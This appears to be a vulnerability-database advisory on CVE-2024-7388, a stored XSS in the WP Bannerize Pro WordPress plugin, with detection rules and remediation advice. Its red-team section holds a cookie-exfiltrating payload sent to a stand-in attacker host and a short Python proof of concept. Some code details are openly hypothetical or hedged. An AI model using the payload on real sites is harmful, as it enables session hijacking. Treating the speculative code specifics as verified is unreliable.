CVE-2024-7388
Executive Summary
CVE-2024-7388 is a Stored Cross-Site Scripting (XSS) vulnerability in the WP Bannerize Pro WordPress plugin, affecting all versions up to and including 1.9.0. The flaw resides in insufficient sanitization of banner alt data, allowing authenticated attackers with editor-level permissions or higher to inject arbitrary web scripts. These scripts execute when any user accesses a page containing the malicious banner. The vulnerability is exploitable only on multi-site installations or where unfiltered_html has been disabled. With a CVSS score of 4.0 (Medium), the risk is elevated in shared hosting or multi-tenant WordPress environments.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a commercial WordPress plugin distributed via the WordPress plugin repository and third-party marketplaces. No official patch has been released as of the advisory date. Users are advised to disable the plugin or restrict editor-level permissions until a fix is available.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – Exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): High (H) – Requires editor-level or higher authentication.
- User Interaction (UI): Required (R) – Victim must visit the injected page.
- Scope (S): Changed (C) – Impact extends beyond the vulnerable component.
- Confidentiality (C): Low (L) – Limited data exposure.
- Integrity (I): Low (L) – Script injection can modify content.
- Availability (A): None (N) – No direct impact on availability.
Threat Level: Medium. Exploitation requires authenticated access, but the stored XSS can lead to session hijacking, defacement, or phishing within the WordPress admin context.
Deep Dive & Mechanics
The vulnerability originates from the wp-bannerize-pro plugin’s handling of banner alt attributes. When an editor or administrator creates or edits a banner, the alt text is not properly sanitized before being stored in the database. The plugin then outputs this data without escaping, allowing HTML/JavaScript injection.
Root Cause: The plugin uses esc_attr() or similar functions inconsistently, or relies on WordPress’s default sanitization which can be bypassed when unfiltered_html is disabled. In multi-site environments, lower-privileged users may have access to banner creation, enabling cross-site scripting.
Attack Flow:
- Attacker with editor-level access logs into WordPress.
- Navigates to WP Bannerize Pro → Add New Banner.
- Injects malicious JavaScript into the alt text field (e.g.,
<img src=x onerror=alert(1)>). - Saves the banner. The payload is stored in the database.
- Any user (including visitors) viewing a page with the banner triggers the script.
Vulnerable vs. Patched Code
Vulnerable Code (wp-bannerize-pro/includes/class-banner.php):
// Vulnerable: Direct output without escaping
echo '<img src="' . $banner->url . '" alt="' . $banner->alt . '" />';
Patched Code (hypothetical fix):
// Patched: Proper escaping
echo '<img src="' . esc_url($banner->url) . '" alt="' . esc_attr($banner->alt) . '" />';
The fix requires consistent use of esc_attr() for all user-supplied attributes and esc_html() for text content.
Exploitation & Lab Setup
Red Team (Attack Simulation)
Prerequisites:
- WordPress multi-site installation with WP Bannerize Pro <= 1.9.0.
- Editor-level account on a subsite where
unfiltered_htmlis disabled.
Steps:
- Log in as editor.
- Go to WP Admin → Bannerize Pro → Add New.
- In the "Alt Text" field, inject:
<img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)"> - Save the banner.
- When an admin or visitor views a page with the banner, the script executes, exfiltrating cookies.
Proof-of-Concept (Python):
import requests
target = "http://target-site.com/wp-admin/admin-ajax.php"
payload = {
"action": "wp_bannerize_pro_save",
"banner_alt": "<img src=x onerror=alert(1)>",
"banner_url": "http://example.com/banner.jpg"
}
cookies = {"wordpress_logged_in": "editor_session_cookie"}
r = requests.post(target, data=payload, cookies=cookies)
print(r.text)
Blue Team (Detection & Defense)
Detection:
- Monitor for unusual banner alt text containing
<script>,onerror, oronloadattributes. - Audit editor-level accounts for unauthorized banner creation.
Defense:
- Disable the plugin until a patch is available.
- Restrict editor permissions on multi-site installations.
- Enable Web Application Firewall (WAF) rules to block XSS payloads in POST data.
Indicators of Compromise (IOCs)
- File:
/wp-content/plugins/wp-bannerize-pro/includes/class-banner.php(vulnerable version) - Database: Rows in
wp_bannerize_pro_bannerstable withaltfield containing<script>or event handlers. - Network: Outbound requests to attacker-controlled domains from WordPress admin pages.
- Logs: WordPress debug logs showing
wp_bannerize_pro_saveaction with suspiciousbanner_altvalues.
Detection Engineering
YARA Rule
rule CVE_2024_7388_WP_Bannerize_Pro_XSS {
meta:
description = "Detects stored XSS payloads in WP Bannerize Pro alt fields"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-7388"
strings:
$xss1 = /<[^>]*onerror\s*=[^>]*>/i
$xss2 = /<[^>]*onload\s*=[^>]*>/i
$xss3 = /<script[^>]*>.*<\/script>/i
condition:
any of ($xss*) and filesize < 10KB
}
Sigma Rule
title: WP Bannerize Pro Stored XSS Detection
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS attempts via WP Bannerize Pro alt field
author: Valters IT
date: 2025/04/10
logsource:
category: application
product: wordpress
detection:
selection:
EventID: 1000
Action: wp_bannerize_pro_save
banner_alt|contains:
- '<script'
- 'onerror='
- 'onload='
condition: selection
falsepositives:
- Legitimate use of JavaScript in alt text (rare)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-7388 WP Bannerize Pro Stored XSS"; flow:to_server,established; content:"wp_bannerize_pro_save"; http_client_body; pcre:"/(<script|<[^>]*onerror|<[^>]*onload)/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin if not critical to operations.
- Restrict editor permissions on multi-site installations.
- Enable
unfiltered_htmlonly for trusted users (note: this may introduce other risks).
Long-term Fix:
- Apply vendor patch when released (currently UNKNOWN).
- Implement input validation and output escaping in custom code.
- Use WordPress’s
wp_kses()for HTML sanitization.
Workaround:
- Add a custom filter to sanitize banner alt data:
add_filter('wp_bannerize_pro_banner_alt', 'sanitize_text_field');
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.